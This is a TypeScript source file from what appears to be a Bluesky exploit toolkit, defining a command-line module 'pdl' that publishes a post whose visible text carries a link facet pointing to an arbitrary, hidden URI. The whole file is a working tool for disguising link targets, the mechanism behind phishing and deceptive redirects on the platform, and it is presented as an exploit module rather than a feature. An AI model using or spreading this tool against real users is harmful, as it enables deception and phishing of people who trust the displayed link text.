post-disguised-link.ts

import { createRecord } from '../helpers/Records';
import { getSession } from '../helpers/Session';
import { ExploitModule } from '../lib/CommandModules';
import { Post } from '../lib/bsky/Post';

export async function postDisguisedLink(
  authToken: string,
  text: string,
  uri: string,
  start: number,
  length: number
): Promise<void> {
  const session = await getSession(authToken);

  const post: Post = {
    $type: 'app.bsky.feed.post',
    createdAt: new Date().toISOString(),
    text: text,
    facets: [
      {
        index: { byteStart: start, byteEnd: start + length },
        features: [{ $type: 'app.bsky.richtext.facet#link', uri: uri }],
      },
    ],
  };
  const record = await createRecord(authToken, session.did, 'app.bsky.feed.post', post);
  if (record.cid && record.uri) {
    console.log(`Success! cid=${record.cid}, uri=${record.uri}}`);
  }
}

const commandModule: ExploitModule<{
  post: string;
  uri: string;
  start: number;
  length: number;
}> = {
  command: 'pdl',
  describe: 'Create post with disguised link.',
  builder: (args) => {
    return args.options({
      post: { desc: "The post's text.", type: 'string', demandOption: true },
      uri: { desc: 'URI to use in href=.', type: 'string', demandOption: true },
      start: { desc: 'Link start position.', type: 'number', demandOption: true },
      length: { desc: 'Link length.', type: 'number', demandOption: true },
    });
  },
  handler: async (argv) => {
    await postDisguisedLink(argv.authToken, argv.post, argv.uri, argv.start, argv.length);
  },
};

export { commandModule as command };